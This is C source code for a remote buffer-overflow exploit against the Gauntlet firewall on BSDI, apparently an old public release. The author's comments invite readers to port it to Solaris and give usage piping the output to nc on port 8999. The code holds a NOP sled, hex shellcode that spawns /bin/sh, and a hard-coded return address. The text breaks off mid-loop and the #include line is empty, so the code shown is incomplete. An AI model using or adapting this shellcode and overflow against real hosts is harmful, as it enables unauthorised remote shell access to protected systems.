/* * Animal.c * * Remote Gauntlet BSDI proof of concept exploit. * Garrison technologies may have found it, but I am the * one who released it. ;) I do not have a Sparc or I would * write up the Solaris one too. If you have one, please * make the changes needed and post it. Thanks. * * This code is intened for proof of concept only. * * _Gramble_ * Hey BuBBles * To use: * # Animal | nc
8999 */ #include char data[364]; main() { int i; char shelloutput[80]; /* just borrowed this execute code from another exploit */ unsigned char shell[] = "\x90" "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76" "\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff\xff\x07" "\xff\xe8\xdc\xff\xff\xff/bin/sh\x00"; for(i=0;i<264;i++) data[i]=0x90; data[i]=0x30; i++; data[i]=0x9b; i++; data[i]=0xbf; i++; data[i]=0xef; i++; data[i] = 0x00; for (i=0; i